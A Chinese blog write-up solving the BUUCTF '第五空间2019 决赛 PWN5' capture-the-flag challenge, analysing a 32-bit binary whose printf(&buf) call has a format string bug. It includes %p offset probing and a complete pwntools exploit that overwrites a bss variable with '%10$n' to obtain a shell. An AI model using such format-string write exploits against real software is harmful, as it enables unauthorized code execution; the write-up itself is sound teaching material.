BUUCTF-[第五空间2019 决赛]PWN5题解
目录
考点:格式化字符串漏洞-覆盖指定地址为小数字。
本文需要你了解字符串漏洞相关知识,如果尚未了解,可移步至【ctf-wiki】学习
下载文件以后,查看文件信息:
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a8aa744920dda62e84d44fcc440c05f31c4c23d, stripped
查看保护信息:
checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2 pwn
Canary出现了,那栈溢出就使不得了,NX开启意味着栈中数据没有执行权限,真可谓重重难关。
然后运行一下:
$ ./pwn
your name:yalexin
Hello,yalexin
your passwd:123456
fail
$ ./pwn
your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�your passwd:fail
买看出啥端倪,那就继续使用IDA32位程序看一下:
关键代码和注释如下:
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
// 使用种子以后,产生随机数,写到unk_804C044中
read(fd, &unk_804C044, 4u);
printf("your name:");
// buf到栈底的长度有0x70h,但是我们只能输入 0x63h,也就是我们无法在这里溢出
read(0, &buf, 0x63u);
printf("Hello,");
// 看到了这样子使用printf函数,立即推格式化字符串漏洞!
printf(&buf);
printf("your passwd:");
// 同理,在这里我们也无法在这里溢出
read(0, &nptr, 0xFu);
// 我们可以通过格式化字符串漏洞把这个数据泄露出来,然后再输入该值,也可以直接修改该值
if ( atoi(&nptr) == unk_804C044 ){
puts("ok!!");
system("/bin/sh");
}
else{
puts("fail");
}
由于我们的随机数变量unk_804C044
是存储在bss
段,并不在栈上,我们无法得知该值,那我们可以换个思路,直接修改该变量的值。
在此之前,我们要先确定我们输入的字符串偏移量,即:
$ ./pwn
your name:abcd%p 2:%p 3:%p 4:%p 5:%p 6:%p 7:%p 8:%p 9:%p 10:%p 11:%p
Hello,abcd0xffa91108 2:0x63 3:(nil) 4:0xf7f55b30 5:0x3 6:0xf7f1b420 7:0x1 8:(nil) 9:0x1 10:0x64636261 11:0x32207025
可以看到该字符串在printf
函数中的位置相较于第一个参数的偏移量是10。
通过IDA我们可以知道随机变量存放的地址为:
.bss:0804C044 unk_804C044 db ? ; ; DATA XREF: main+77↑o
下面我们就可以着手通过下面的方式修改指定内存的值了:
addr%10$n
%10$n
是说将已经输出的个数写入addr
所指向的地址。我们的地址是32位的,即4个字节,那么我们此时已经将指定地址修改为4了。
exp
如下:
from pwn import *
context(log_level = 'debug', os='linux', arch='i386')
debug = True
hacker = None
if debug:
hacker = process('./pwn')
else:
hacker = remote('', 1)
random_var_addr = 0x0804c044
payload = p32(random_var_addr) + b'%10$n'
hacker.sendlineafter('your name:', payload)
line = hacker.recvuntil('your passwd:')
hacker.sendline(b'4')
hacker.interactive()
pwn
入门是真的难!!即使我已经学了编译原理、汇编和组成原理(当然可能也是因为没学好)。
除此之外,IDA反编译出来的代码只能作为参考,切记奉为圭臬,之前刚刚学习的时候,遇到反汇编出来的代码中,定义变量的顺序是反的,变量类型也出错,搞得我郁闷了好几天,还好同班的大佬指出了我的错误。
本文由「黄阿信」创作,创作不易,请多支持。
如果您觉得本文写得不错,那就点一下「赞赏」请我喝杯咖啡~
商业转载请联系作者获得授权,非商业转载请附上原文出处及本链接。
关注公众号,获取最新动态!
历史评论
开始评论